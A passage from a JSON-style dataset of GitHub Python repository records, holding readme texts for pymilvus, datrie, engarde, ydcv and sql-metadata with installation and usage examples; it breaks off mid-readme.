Versions](https://img.shields.io/pypi/pyversions/pymilvus?logo=python&logoColor=blue)](https://pypi.org/project/pymilvus/)\n[![Downloads](https://pepy.tech/badge/pymilvus)](https://pepy.tech/project/pymilvus)\n[![Downloads](https://pepy.tech/badge/pymilvus/month)](https://pepy.tech/project/pymilvus/month)\n[![Downloads](https://pepy.tech/badge/pymilvus/week)](https://pepy.tech/project/pymilvus/week)\n[![license](https://img.shields.io/hexpm/l/plug.svg?color=green)](https://github.com/milvus-io/pymilvus/blob/master/LICENSE)\n[![Mergify Status][mergify-status]][mergify]\n\n\nPython SDK for [Milvus](https://github.com/milvus-io/milvus). To contribute code to this project, please read our [contribution guidelines](https://github.com/milvus-io/milvus/blob/master/CONTRIBUTING.md) first. If you have some ideas or encounter a problem, you can find us in the Slack channel [#py-milvus](https://milvusio.slack.com/archives/C024XTWMT4L).\n\n\n## Compatibility\nThe following collection shows Milvus versions and recommended PyMilvus versions:\n\n|Milvus version| Recommended PyMilvus version |\n|:-----:|:-----:|\n| 1.0.\\* | 1.0.1 |\n| 1.1.\\* | 1.1.2 |\n| 2.0.\\* | 2.0.2 |\n| 2.1.\\* | 2.1.3 |\n| 2.2.\\* | 2.2.0 |\n\n\n## Installation\n\nYou can install PyMilvus via `pip` or `pip3` for Python 3.6+:\n\n```shell\n$ pip3 install pymilvus\n```\n\nYou can install a specific version of PyMilvus by:\n\n```shell\n$ pip3 install pymilvus==2.2.0\n```\n\nYou can upgrade PyMilvus to the latest version by:\n\n```shell\n$ pip3 install --upgrade pymilvus\n```\n\n## FAQ\nQ1. How to get submodules?\n\nA1. The following command will get the protos matching to the generated files, for protos of certain version, see\n[milvus-proto](https://github.com/milvus-io/milvus-proto#usage) for details.\n```shell\n$ git submodule update --init\n```\n\nQ2. How to generate python files from milvus-proto?\n\n**Before generating python files, please install requirements in `requirements.txt`**\n\nA2.\n```shell\n$ make gen_proto\n```\n\nQ3. How to use the local PyMilvus repository for Milvus server?\n\nA3.\n```shell\n$ python setup.py install\n```\n\n\n## Documentation\n\nDocumentation is available online: https://milvus.io/api-reference/pymilvus/v2.2.0/About.md\n\n## Developing package releases\n\nThe commits on the development branch of each version will be packaged and uploaded to [Test PyPI](https://test.pypi.org/).\n\nThe package name generated by the development branch is x.y.z.dev<dist>, where <dist> is the number of commits that differ from the most recent release.\n\n- For example, after the release of 2.0.1, two commits were submitted on the 2.0 branch.\nThe version number of the latest commit of 2.0 branch is **2.0.2.dev2**.\n\n- For example, after the release of 2.0.1, 10 commits were submitted on the master branch.\nThe version number of the latest commit of master branch is **2.1.0.dev10**.\n\n\nTo install the package on Test PyPi, you need to append `--extra-index-url` after pip, for example:\n```shell\n$ python3 -m pip install --extra-index-url https://test.pypi.org/simple/ pymilvus==2.1.0.dev66\n```\n\n\n## License\n[Apache License 2.0](LICENSE)\n\n\n[mergify]: https://mergify.io\n[mergify-status]: https://img.shields.io/endpoint.svg?url=https://gh.mergify.io/badges/milvus-io/pymilvus&style=plastic\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "pytries/datrie", "link": "https://github.com/pytries/datrie", "tags": [], "stars": 504, "description": "Fast, efficiently stored Trie for Python. Uses libdatrie.", "lang": "Python", "repo_lang": "", "readme": "datrie |travis| |appveyor|\n==========================\n\n.. |travis| image:: https://travis-ci.org/pytries/datrie.svg\n   :target: https://travis-ci.org/pytries/datrie\n\n.. |appveyor| image:: https://ci.appveyor.com/api/projects/status/6bpvhllpjhlau7x0?svg=true\n   :target: https://ci.appveyor.com/project/superbobry/datrie\n\nSuper-fast, efficiently stored Trie for Python (2.x and 3.x).\nUses `libdatrie`_.\n\n.. _libdatrie: https://linux.thai.net/~thep/datrie/datrie.html\n\nInstallation\n============\n\n::\n\n    pip install datrie\n\nUsage\n=====\n\nCreate a new trie capable of storing items with lower-case ascii keys::\n\n    >>> import string\n    >>> import datrie\n    >>> trie = datrie.Trie(string.ascii_lowercase)\n\n``trie`` variable is a dict-like object that can have unicode keys of\ncertain ranges and Python objects as values.\n\nIn addition to implementing the mapping interface, tries facilitate\nfinding the items for a given prefix, and vice versa, finding the\nitems whose keys are prefixes of a given string. As a common special\ncase, finding the longest-prefix item is also supported.\n\n.. warning::\n\n    For efficiency you must define allowed character range(s) while\n    creating trie. ``datrie`` doesn't check if keys are in allowed\n    ranges at runtime, so be careful! Invalid keys are OK at lookup time\n    but values won't be stored correctly for such keys.\n\nAdd some values to it (datrie keys must be unicode; the examples\nare for Python 2.x)::\n\n    >>> trie[u'foo'] = 5\n    >>> trie[u'foobar'] = 10\n    >>> trie[u'bar'] = 'bar value'\n    >>> trie.setdefault(u'foobar', 15)\n    10\n\nCheck if u'foo' is in trie::\n\n    >>> u'foo' in trie\n    True\n\nGet a value::\n\n    >>> trie[u'foo']\n    5\n\nFind all prefixes of a word::\n\n    >>> trie.prefixes(u'foobarbaz')\n    [u'foo', u'foobar']\n\n    >>> trie.prefix_items(u'foobarbaz')\n    [(u'foo', 5), (u'foobar', 10)]\n\n    >>> trie.iter_prefixes(u'foobarbaz')\n    <generator object ...>\n\n    >>> trie.iter_prefix_items(u'foobarbaz')\n    <generator object ...>\n\nFind the longest prefix of a word::\n\n    >>> trie.longest_prefix(u'foo')\n    u'foo'\n\n    >>> trie.longest_prefix(u'foobarbaz')\n    u'foobar'\n\n    >>> trie.longest_prefix(u'gaz')\n    KeyError: u'gaz'\n\n    >>> trie.longest_prefix(u'gaz', default=u'vasia')\n    u'vasia'\n\n    >>> trie.longest_prefix_item(u'foobarbaz')\n    (u'foobar', 10)\n\nCheck if the trie has keys with a given prefix::\n\n    >>> trie.has_keys_with_prefix(u'fo')\n    True\n\n    >>> trie.has_keys_with_prefix(u'FO')\n    False\n\nGet all items with a given prefix from a trie::\n\n    >>> trie.keys(u'fo')\n    [u'foo', u'foobar']\n\n    >>> trie.items(u'ba')\n    [(u'bar', 'bar value')]\n\n    >>> trie.values(u'foob')\n    [10]\n\nGet all suffixes of certain word starting with a given prefix from a trie::\n\n    >>> trie.suffixes()\n    [u'pro', u'producer', u'producers', u'product', u'production', u'productivity', u'prof']\n    >>> trie.suffixes(u'prod')\n    [u'ucer', u'ucers', u'uct', u'uction', u'uctivity']\n\n\nSave & load a trie (values must be picklable)::\n\n    >>> trie.save('my.trie')\n    >>> trie2 = datrie.Trie.load('my.trie')\n\n\n\nTrie and BaseTrie\n=================\n\nThere are two Trie classes in datrie package: ``datrie.Trie`` and\n``datrie.BaseTrie``. ``datrie.BaseTrie`` is slightly faster and uses less\nmemory but it can store only integer numbers -2147483648 <= x <= 2147483647.\n``datrie.Trie`` is a bit slower but can store any Python object as a value.\n\nIf you don't need values or integer values are OK then use ``datrie.BaseTrie``::\n\n    import datrie\n    import string\n    trie = datrie.BaseTrie(string.ascii_lowercase)\n\nCustom iteration\n================\n\nIf the built-in trie methods don't fit you can use ``datrie.State`` and\n``datrie.Iterator`` to implement custom traversal.\n\n.. note::\n\n    If you use ``datrie.BaseTrie`` you need ``datrie.BaseState`` and\n    ``datrie.BaseIterator`` for custom traversal.\n\n\nFor example, let's find all suffixes of ``'fo'`` for our trie and get\nthe values::\n\n    >>> state = datrie.State(trie)\n    >>> state.walk(u'foo')\n    >>> it = datrie.Iterator(state)\n    >>> while it.next():\n    ...     print(it.key())\n    ...     print(it.data))\n    o\n    5\n    obar\n    10\n\nPerformance\n===========\n\nPerformance is measured for ``datrie.Trie`` against Python's dict with\n100k unique unicode words (English and Russian) as keys and '1' numbers\nas values.\n\n``datrie.Trie`` uses about 5M memory for 100k words; Python's dict\nuses about 22M for this according to my unscientific tests.\n\nThis trie implementation is 2-6 times slower than python's dict\non __getitem__. Benchmark results (macbook air i5 1.8GHz,\n\"1.000M ops/sec\" == \"1 000 000 operations per second\")::\n\n    Python 2.6:\n    dict __getitem__: 7.107M ops/sec\n    trie __getitem__: 2.478M ops/sec\n\n    Python 2.7:\n    dict __getitem__: 6.550M ops/sec\n    trie __getitem__: 2.474M ops/sec\n\n    Python 3.2:\n    dict __getitem__: 8.185M ops/sec\n    trie __getitem__: 2.684M ops/sec\n\n    Python 3.3:\n    dict __getitem__: 7.050M ops/sec\n    trie __getitem__: 2.755M ops/sec\n\nLooking for prefixes of a given word is almost as fast as\n``__getitem__`` (results are for Python 3.3)::\n\n    trie.iter_prefix_items (hits):      0.461M ops/sec\n    trie.prefix_items (hits):           0.743M ops/sec\n    trie.prefix_items loop (hits):      0.629M ops/sec\n    trie.iter_prefixes (hits):          0.759M ops/sec\n    trie.iter_prefixes (misses):        1.538M ops/sec\n    trie.iter_prefixes (mixed):         1.359M ops/sec\n    trie.has_keys_with_prefix (hits):   1.896M ops/sec\n    trie.has_keys_with_prefix (misses): 2.590M ops/sec\n    trie.longest_prefix (hits):         1.710M ops/sec\n    trie.longest_prefix (misses):       1.506M ops/sec\n    trie.longest_prefix (mixed):        1.520M ops/sec\n    trie.longest_prefix_item (hits):    1.276M ops/sec\n    trie.longest_prefix_item (misses):  1.292M ops/sec\n    trie.longest_prefix_item (mixed):   1.379M ops/sec\n\nLooking for all words starting with a given prefix is mostly limited\nby overall result count (this can be improved in future because a\nlot of time is spent decoding strings from utf_32_le to Python's\nunicode)::\n\n    trie.items(prefix=\"xxx\"), avg_len(res)==415:        0.609K ops/sec\n    trie.keys(prefix=\"xxx\"), avg_len(res)==415:         0.642K ops/sec\n    trie.values(prefix=\"xxx\"), avg_len(res)==415:       4.974K ops/sec\n    trie.items(prefix=\"xxxxx\"), avg_len(res)==17:       14.781K ops/sec\n    trie.keys(prefix=\"xxxxx\"), avg_len(res)==17:        15.766K ops/sec\n    trie.values(prefix=\"xxxxx\"), avg_len(res)==17:      96.456K ops/sec\n    trie.items(prefix=\"xxxxxxxx\"), avg_len(res)==3:     75.165K ops/sec\n    trie.keys(prefix=\"xxxxxxxx\"), avg_len(res)==3:      77.225K ops/sec\n    trie.values(prefix=\"xxxxxxxx\"), avg_len(res)==3:    320.755K ops/sec\n    trie.items(prefix=\"xxxxx..xx\"), avg_len(res)==1.4:  173.591K ops/sec\n    trie.keys(prefix=\"xxxxx..xx\"), avg_len(res)==1.4:   180.678K ops/sec\n    trie.values(prefix=\"xxxxx..xx\"), avg_len(res)==1.4: 503.392K ops/sec\n    trie.items(prefix=\"xxx\"), NON_EXISTING:             2023.647K ops/sec\n    trie.keys(prefix=\"xxx\"), NON_EXISTING:              1976.928K ops/sec\n    trie.values(prefix=\"xxx\"), NON_EXISTING:            2060.372K ops/sec\n\nRandom insert time is very slow compared to dict, this is the limitation\nof double-array tries; updates are quite fast. If you want to build a trie,\nconsider sorting keys before the insertion::\n\n    dict __setitem__ (updates):            6.497M ops/sec\n    trie __setitem__ (updates):            2.633M ops/sec\n    dict __setitem__ (inserts, random):    5.808M ops/sec\n    trie __setitem__ (inserts, random):    0.053M ops/sec\n    dict __setitem__ (inserts, sorted):    5.749M ops/sec\n    trie __setitem__ (inserts, sorted):    0.624M ops/sec\n    dict setdefault (updates):             3.455M ops/sec\n    trie setdefault (updates):             1.910M ops/sec\n    dict setdefault (inserts):             3.466M ops/sec\n    trie setdefault (inserts):             0.053M ops/sec\n\nOther results (note that ``len(trie)`` is currently implemented\nusing trie traversal)::\n\n    dict __contains__ (hits):    6.801M ops/sec\n    trie __contains__ (hits):    2.816M ops/sec\n    dict __contains__ (misses):  5.470M ops/sec\n    trie __contains__ (misses):  4.224M ops/sec\n    dict __len__:                334336.269 ops/sec\n    trie __len__:                22.900 ops/sec\n    dict values():               406.507 ops/sec\n    trie values():               20.864 ops/sec\n    dict keys():                 189.298 ops/sec\n    trie keys():                 2.773 ops/sec\n    dict items():                48.734 ops/sec\n    trie items():                2.611 ops/sec\n\nPlease take this benchmark results with a grain of salt; this\nis a very simple benchmark and may not cover your use case.\n\nCurrent Limitations\n===================\n\n* keys must be unicode (no implicit conversion for byte strings\n  under Python 2.x, sorry);\n* there are no iterator versions of keys/values/items (this is not\n  implemented yet);\n* it is painfully slow and maybe buggy under pypy;\n* library is not tested with narrow Python builds.\n\nContributing\n============\n\nDevelopment happens at github: https://github.com/pytries/datrie.\n\nFeel free to submit ideas, bugs, pull requests.\n\nRunning tests and benchmarks\n----------------------------\n\nMake sure `tox`_ is installed and run\n\n::\n\n    $ tox\n\nfrom the source checkout. Tests should pass under Python 2.7 and 3.4+.\n\n::\n\n    $ tox -c tox-bench.ini\n\nruns benchmarks.\n\nIf you've changed anything in the source code then\nmake sure `cython`_ is installed and run\n\n::\n\n    $ update_c.sh\n\nbefore each ``tox`` command.\n\nPlease note that benchmarks are not included in the release\ntar.gz's because benchmark data is large and this\nsaves a lot of bandwidth; use source checkouts from\ngithub or bitbucket for the benchmarks.\n\n.. _cython: https://cython.org/\n.. _tox: https://tox.readthedocs.io/\n\nAuthors & Contributors\n----------------------\n\nSee https://github.com/pytries/datrie/graphs/contributors.\n\nThis module is based on `libdatrie`_ C library by Theppitak Karoonboonyanan\nand is inspired by `fast_trie`_ Ruby bindings, `PyTrie`_ pure\nPython implementation and `Tree::Trie`_ Perl implementation;\nsome docs and API ideas are borrowed from these projects.\n\n.. _fast_trie: https://github.com/tyler/trie\n.. _PyTrie: https://github.com/gsakkis/pytrie\n.. _Tree::Trie: https://metacpan.org/pod/release/AVIF/Tree-Trie-1.9/Trie.pm\n\nLicense\n=======\n\nLicensed under LGPL v2.1.\n", "readme_type": "rst", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "engarde-dev/engarde", "link": "https://github.com/engarde-dev/engarde", "tags": [], "stars": 504, "description": "A library for defensive data analysis.", "lang": "Python", "repo_lang": "", "readme": "__Engarde is no longer under active developement. Take a look at the [bulwark](https://github.com/zaxr/bulwark) tool for similar functionality.__\n\n\nEngarde\n=======\n\n[![Build Status](https://travis-ci.org/TomAugspurger/engarde.svg)](https://travis-ci.org/TomAugspurger/engarde)\n\nA python package for defensive data analysis.\nDocumentation is at [readthedocs](http://engarde.readthedocs.org/en/latest/).\n\nDependencies\n============\n\n- pandas\n\nSupports python 2.7+ and 3.4+\n\nWhy?\n====\n\nData are messy.\nBut, our analysis often depends on certain assumptions about our data\nthat *should* be invariant across updates to your dataset.\n`engarde` is a lightweight way to explicitly state your assumptions\nand check that they're *actually* true.\n\nThis is especially important when working with flat files like CSV\nthat aren't bound for a more structured destination (e.g. SQL or HDF5).\n\nExamples\n========\n\nThere are two main ways of using the library, which correspond to the\ntwo main ways I use pandas: writing small scripts or interactively at\nthe interpreter.\n\nFirst, as decorators, which are most useful in `.py` scripts\nThe basic idea is to  write each step of your ETL process as a function\nthat takes and returns a DataFrame. These functions can be decorated with\nthe invariants that should be true at that step in the process.\n\n```python\nfrom engarde.decorators import none_missing, unique_index, is_shape\n\n@none_missing()\ndef f(df1, df2):\n    return df1.add(df2)\n\n@is_shape((1290, 10))\n@unique_index\ndef make_design_matrix('data.csv'):\n    out = ...\n    return out\n```\n\nSecond, interactively.\nThe cleanest way to integrate this is through the [``pipe``](http://pandas-docs.github.io/pandas-docs-travis/basics.html#tablewise-function-application) method,\nintroduced in pandas 0.16.2 (June 2015).\n\n```python\n>>> import engarde.checks as dc\n>>> (df1.reindex_like(df2)\n...     .pipe(dc.unique_index)\n...     .cumsum()\n...     .pipe(dc.within_range, (0, 100))\n... )\n```\n\nSee Also\n========\n\n- [assertr](https://github.com/tonyfischetti/assertr)\n- [Validada](https://github.com/jnmclarty/validada)\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "felixonmars/ydcv", "link": "https://github.com/felixonmars/ydcv", "tags": [], "stars": 504, "description": "YouDao Console Version - Simple wrapper for Youdao online translate (Chinese <-> English) service API, as an alternative to the StarDict Console Version(sdcv).", "lang": "Python", "repo_lang": "", "readme": "# YouDao Console Version\n\nSimple wrapper for Youdao online translate (Chinese <-> English) service [API](https://ai.youdao.com/docs/doc-trans-api.s#p01), as an alternative to the StarDict Console Version(sdcv).\n\n## \u6ce8\u610f\n\n\u672c\u5de5\u5177\u5df2\u7ecf\u505c\u6b62\u516c\u5171\u670d\u52a1\u3002\u7528\u6237\u82e5\u8981\u7ee7\u7eed\u4f7f\u7528\uff0c\u9700\u7533\u8bf7\u4e00\u4e2a\u79c1\u4eba\u7684[\u6709\u9053\u667a\u4e91](https://ai.youdao.com) API Key\u914d\u7f6e\u4f7f\u7528\u3002\n\u5927\u81f4\u6b65\u9aa4\u4e3a\uff1a \u7ffb\u8bd1\u5b9e\u4f8b-\u521b\u5efa\u5b9e\u4f8b-\u9009\"\u6587\u672c\u7ffb\u8bd1\"\uff0c \u6211\u7684\u5e94\u7528-\u521b\u5efa\u5e94\u7528-\u63a5\u5165\u65b9\u5f0f\uff1aAPI-\u9009\u62e9\u7ed1\u5b9a\u521a\u624d\u521b\u5efa\u7684`\u81ea\u7136\u8bed\u8a00\u7ffb\u8bd1\u670d\u52a1-\u6587\u672c\u7ffb\u8bd1`\u5b9e\u4f8b\u3002\n\u5f97\u5230\u7684`\u5e94\u7528ID` / `\u5e94\u7528\u5bc6\u94a5`\u5373\u4e3a\u672c\u5de5\u5177\u7684`YDAPPID`/`YDAPPSEC`\u3002\n\n\u672c\u5de5\u5177\u53ef\u901a\u8fc7\u73af\u5883\u53d8\u91cf`YDCV_YOUDAO_APPID`\u548c`YDCV_YOUDAO_APPSEC`\u548cini\u6587\u4ef6\u65b9\u5f0f\u914d\u7f6ekey\u3002\u914d\u7f6e\u6587\u4ef6\u9ed8\u8ba4\u4e3a`~/.ydcv`\uff0c\u4e5f\u53ef\u7528`--config`\u6307\u5b9a\u3002\n\u914d\u7f6e\u6587\u4ef6\u4f8b\u5b50\uff1a\n```\n[YDCV]\nYDAPPID=123456\nYDAPPSEC=abcd1234\n```\n\n## Usage\n```\n$ ydcv --help\nusage: ydcv.py [-h] [-f] [-s] [-S] [-r] [-p {festival,mpg123,sox,mpv}]\n               [-a {auto,uk,us}] [-x] [--color {always,auto,never}]\n               [-F {zh-CHS,ja,EN,ko,fr,ru,pt,es,vi,de,ar,id}]\n               [-t {zh-CHS,ja,EN,ko,fr,ru,pt,es,vi,de,ar,id}]\n               [words [words ...]]\n\nYoudao Console Version\n\npositional arguments:\n  words                 words to lookup, or quoted sentences to translate.\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -f, --full            print full web reference, only the first 3 results\n                        will be printed without this flag.\n  -s, --simple          only show explainations. argument \"-f\" will not take\n                        effect.\n  -S, --speech          print URL to speech audio.\n  -r, --read            read out the word with player provided by \"-p\" option.\n  -p {festival,mpg123,sox,mpv}, --player {festival,mpg123,sox,mpv}\n                        read out the word with this play.Default to 'festival'\n                        or can be 'mpg123', 'sox', 'mpv'.-S option is required\n                        if player is not festival.\n  -a {auto,uk,us}, --accent {auto,uk,us}\n                        set default accent to read the word in. Default to\n                        'auto' or can be 'uk', or 'us'.\n  -x, --selection       show explaination of current selection.\n  --color {always,auto,never}\n                        colorize the output. Default to 'auto' or can be\n                        'never' or 'always'.\n  -F {zh-CHS,ja,EN,ko,fr,ru,pt,es,vi,de,ar,id}, --from {zh-CHS,ja,EN,ko,fr,ru,pt,es,vi,de,ar,id}\n                        Translate from specific language. Default: EN\n  -t {zh-CHS,ja,EN,ko,fr,ru,pt,es,vi,de,ar,id}, --to {zh-CHS,ja,EN,ko,fr,ru,pt,es,vi,de,ar,id}\n                        Translate to specific language. Default: zh-CHS\n  -c CONFIG, --config CONFIG\n                        Config file contains API AppKey / SecKey. Default: ~/.ydcv\n          \n```\n\n## \u7ffb\u8bd1\u652f\u6301\u7684\u8bed\u8a00\u5217\u8868\n\n`--from` \u548c `--to`\u53c2\u6570\u53ef\u4ee5\u6307\u5b9a\u7279\u5b9a\u8bed\u8a00\u4e4b\u95f4\u76f8\u4e92\u7ffb\u8bd1\uff0c\u4f46\u53ea\u6709\u4e2d\u6587\u7ed3\u679c\u6709\u8bcd\u5178\u5185\u5bb9\n\n|\u8bed\u8a00|\u4ee3\u7801|\u8bed\u8a00|\u4ee3\u7801|\u8bed\u8a00|\u4ee3\u7801|\u8bed\u8a00|\u4ee3\u7801|\n|----|----|----|----|----|----|----|----|\n\u4e2d\u6587|zh-CHS|\u8461\u8404\u7259\u6587|pt  |\u97e9\u6587|ko|\u5fb7\u6587    |de\n\u65e5\u6587|ja    |\u897f\u73ed\u7259\u6587|es  |\u6cd5\u6587|fr|\u963f\u62c9\u4f2f\u6587|ar\n\u82f1\u6587|EN    |\u8d8a\u5357\u6587  |vi  |\u4fc4\u6587|ru|\u5370\u5c3c\u6587  |id\n\n## Installation\n```\npip install ydcv\n```\n\n## Environment\n * Python ( >=2.7, 3.x )\n\n## Similar Projects on github\n|Lang|Project|Author|\n|----|----|----|\n|Go|[ydgo](https://github.com/boypt/ydgo)|boypt|\n|RUST|[ydcv-rs](https://github.com/farseerfc/ydcv-rs)|farseerfc|\n|RUST|[ydcv-rust](https://github.com/passchaos/ydcv-rust)|passchaos|\n|Powershell|[ydcv.ps1](https://github.com/atupal/ydcv.ps1)|atupal|\n|BASH|[ydcv-bash-version](https://github.com/MasterCsquare/ydcv-bash-version)|MasterCsquare|\n|Perl|[ydcv](https://github.com/JaHIY/ydcv)|JaHIY|\n|C|[cydcv](https://github.com/proudzhu/cydcv)|proudzhu|\n|C++|[ydcv-cpp](https://github.com/proudzhu/ydcv-cpp)|proudzhu|\n|Vim|[ydcv.vim](https://github.com/bennyyip/ydcv.vim)|bennyyip|\n|Erlang|[ydcv-el](https://github.com/zhenglinj/ydcv-el)|zhenglinj|\n|Haskell|[ydcv-hs](https://github.com/proudzhu/ydcv-hs)|proudzhu|\n\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "macbre/sql-metadata", "link": "https://github.com/macbre/sql-metadata", "tags": ["sql", "parser", "database", "sql-parser", "metadata", "sqlparse", "python-package", "python3-library", "hiveql", "hive", "mysql-query"], "stars": 504, "description": "Uses tokenized query returned by python-sqlparse and generates query metadata", "lang": "Python", "repo_lang": "", "readme": "# sql-metadata\n\n[![PyPI](https://img.shields.io/pypi/v/sql_metadata.svg)](https://pypi.python.org/pypi/sql_metadata)\n[![Tests](https://github.com/macbre/sql-metadata/actions/workflows/python-ci.yml/badge.svg)](https://github.com/macbre/sql-metadata/actions/workflows/python-ci.yml)\n[![Coverage Status](https://coveralls.io/repos/github/macbre/sql-metadata/badge.svg?branch=master&1)](https://coveralls.io/github/macbre/sql-metadata?branch=master)\n<a href=\"https://github.com/psf/black\"><img alt=\"Code style: black\" src=\"https://img.shields.io/badge/code%20style-black-000000.svg\"></a>\n[![Maintenance](https://img.shields.io/badge/maintained%3F-yes-green.svg)](https://github.com/macbre/sql-metadata/graphs/commit-activity)\n[![Downloads](https://pepy.tech/badge/sql-metadata/month)](https://pepy.tech/project/sql-metadata)\n\nUses tokenized query returned by [`python-sqlparse`](https://github.com/andialbrecht/sqlparse) and generates query metadata.\n\n**Extracts column names and tables** used by the query. \nAutomatically conduct **column alias resolution**, **sub queries aliases resolution** as well as **tables aliases resolving**.\n\nProvides also a helper for **normalization of SQL queries**.\n\nSupported queries syntax:\n\n* MySQL\n* PostgreSQL\n* Sqlite\n* MSSQL\n* [Apache Hive](https://cwiki.apache.org/confluence/display/Hive/LanguageManual+DML)\n\n(note that listed backends can differ quite substantially but should work in regard of query types supported by `sql-metadata`)\n\nYou can test the capabilities of `sql-metadata` with an interactive demo: [https://sql-app.infocruncher.com/](https://sql-app.infocruncher.com/)\n\n## Usage\n\n```\npip install sql-metadata\n```\n\n### Extracting raw sql-metadata tokens\n\n```python\nfrom sql_metadata import Parser\n\n# extract raw sql-metadata tokens\nParser(\"SELECT * FROM foo\").tokens\n# ['SELECT', '*', 'FROM', 'foo']\n```\n\n### Extracting columns from query\n\n```python\nfrom sql_metadata import Parser\n\n# get columns from query - for more examples see `tests/test_getting_columns.py`\nParser(\"SELECT test, id FROM foo, bar\").columns\n# ['test', 'id']\n\nParser(\"INSERT /* VoteHelper::addVote xxx */  INTO `page_vote` (article_id,user_id,`time`) VALUES ('442001','27574631','20180228130846')\").columns\n# ['article_id', 'user_id', 'time']\n\nparser = Parser(\"SELECT a.* FROM product_a.users AS a JOIN product_b.users AS b ON a.ip_address = b.ip_address\")\n\n# note that aliases are auto-resolved\nparser.columns\n# ['product_a.*', 'product_a.users.ip_address', 'product_b.users.ip_address']\n\n# note that you can also extract columns with their place in the query\n# which will return dict with lists divided into select, where, order_by, group_by, join, insert and update\nparser.columns_dict\n# {'select': ['product_a.users.*'], 'join': ['product_a.users.ip_address', 'product_b.users.ip_address']}\n```\n\n### Extracting columns aliases from query\n\n```python\nfrom sql_metadata import Parser\nparser = Parser(\"SELECT a, (b + c - u) as alias1, custome_func(d) alias2 from aa, bb order by alias1\")\n\n# note that columns list do not contain aliases of the columns\nparser.columns\n# [\"a\", \"b\", \"c\", \"u\", \"d\"]\n\n# but you can still extract aliases names\nparser.columns_aliases_names\n# [\"alias1\", \"alias2\"]\n\n# aliases are resolved to the columns which they refer to\nparser.columns_aliases\n# {\"alias1\": [\"b\", \"c\", \"u\"], \"alias2\": \"d\"}\n\n# you can also extract aliases used by section of the query in which they are used\nparser.columns_aliases_dict\n# {\"order_by\": [\"alias1\"], \"select\": [\"alias1\", \"alias2\"]}\n\n# the same applies to aliases used in queries section when you extract columns_dict\n# here only the alias is used in order by but it's resolved to actual columns\nassert parser.columns_dict == {'order_by': ['b', 'c', 'u'],\n                               'select': ['a', 'b', 'c', 'u', 'd']}\n```\n\n### Extracting tables from query\n\n```python\nfrom sql_metadata import Parser\n\n# get tables from query - for more examples see `tests/test_getting_tables.py`\nParser(\"SELECT a.* FROM product_a.users AS a JOIN product_b.users AS b ON a.ip_address = b.ip_address\").tables\n# ['product_a.users', 'product_b.users']\n\nParser(\"SELECT test, id FROM foo, bar\").tables\n# ['foo', 'bar']\n\n# you can also extract aliases of the tables as a dictionary\nparser = Parser(\"SELECT f.test FROM foo AS f\")\n\n# get table aliases\nparser.tables_aliases\n# {'f': 'foo'}\n\n# note that aliases are auto-resolved for columns\nparser.columns\n# [\"foo.test\"]\n```\n\n### Extracting values from insert query\n```python\nfrom sql_metadata import Parser\n\nparser = Parser(\n    \"INSERT /* VoteHelper::addVote xxx */  INTO `page_vote` (article_id,user_id,`time`) \" \n    \"VALUES ('442001','27574631','20180228130846')\"\n)\n# extract values from query\nparser.values\n# [\"442001\", \"27574631\", \"20180228130846\"]\n\n# extract a dictionary with column-value pairs\nparser.values_dict\n#{\"article_id\": \"442001\", \"user_id\": \"27574631\", \"time\": \"20180228130846\"}\n\n# if column names are not set auto-add placeholders\nparser = Parser(\n    \"INSERT IGNORE INTO `table` VALUES (9, 2.15, '123', '2017-01-01');\"\n)\nparser.values\n# [9, 2.15, \"123\", \"2017-01-01\"]\n\nparser.values_dict\n#{\"column_1\": 9, \"column_2\": 2.15, \"column_3\": \"123\", \"column_4\": \"2017-01-01\"}\n```\n\n\n### Extracting limit and offset\n```python\nfrom sql_metadata import Parser\n\nParser('SELECT foo_limit FROM bar_offset LIMIT 50 OFFSET 1000').limit_and_offset\n# (50, 1000)\n\nParser('SELECT foo_limit FROM bar_offset limit 2000,50').limit_and_offset\n# (50, 2000)\n```\n\n### Extracting with names\n\n```python\nfrom sql_metadata import Parser\n\nparser = Parser(\n    \"\"\"\nWITH\n    database1.tableFromWith AS (SELECT aa.* FROM table3 as aa \n                                left join table4 on aa.col1=table4.col2),\n    test as (SELECT * from table3)\nSELECT\n  \"xxxxx\"\nFROM\n  database1.tableFromWith alias\nLEFT JOIN database2.table2 ON (\"tt\".\"ttt\".\"fff\" = \"xx\".\"xxx\")\n\"\"\"\n)\n\n# get names/ aliases of with statements\nparser.with_names\n# [\"database1.tableFromWith\", \"test\"]\n\n# get definition of with queries\nparser.with_queries\n# {\"database1.tableFromWith\": \"SELECT aa.* FROM table3 as aa left join table4 on aa.col1=table4.col2\"\n#  \"test\": \"SELECT * from table3\"}\n\n# note that names of with statements do not appear in tables\nparser.tables\n# [\"table3\", \"table4\", \"database2.table2\"]\n```\n\n### Extracting sub-queries\n\n```python\nfrom sql_metadata import Parser\n\nparser = Parser(\n\"\"\"\nSELECT COUNT(1) FROM\n(SELECT std.task_id FROM some_task_detail std WHERE std.STATUS = 1) a\nJOIN (SELECT st.task_id FROM some_task st WHERE task_type_id = 80) b\nON a.task_id = b.task_id;\n\"\"\"\n)\n\n# get sub-queries dictionary\nparser.subqueries\n# {\"a\": \"SELECT std.task_id FROM some_task_detail std WHERE std.STATUS = 1\",\n#  \"b\": \"SELECT st.task_id FROM some_task st WHERE task_type_id = 80\"}\n\n\n# get names/ aliases of sub-queries / derived tables\nparser.subqueries_names\n# [\"a\", \"b\"]\n\n# note that columns coming from sub-queries are resolved to real columns\nparser.columns\n#[\"some_task_detail.task_id\", \"some_task_detail.STATUS\", \"some_task.task_id\", \n# \"task_type_id\"]\n\n# same applies for columns_dict, note the join columns are resolved\nparser.columns_dict\n#{'join': ['some_task_detail.task_id', 'some_task.task_id'],\n# 'select': ['some_task_detail.task_id', 'some_task.task_id'],\n# 'where': ['some_task_detail.STATUS', 'task_type_id']}\n\n```\n\nSee `tests` file for more examples of a bit more complex queries.\n\n### Queries normalization and comments extraction\n\n```python\nfrom sql_metadata import Parser\nparser = Parser('SELECT /* Test */ foo FROM bar WHERE id in (1, 2, 56)')\n\n# generalize query\nparser.generalize\n# 'SELECT foo FROM bar WHERE id in (XYZ)'\n\n# remove comments\nparser.without_comments\n# 'SELECT foo FROM bar WHERE id in (1, 2, 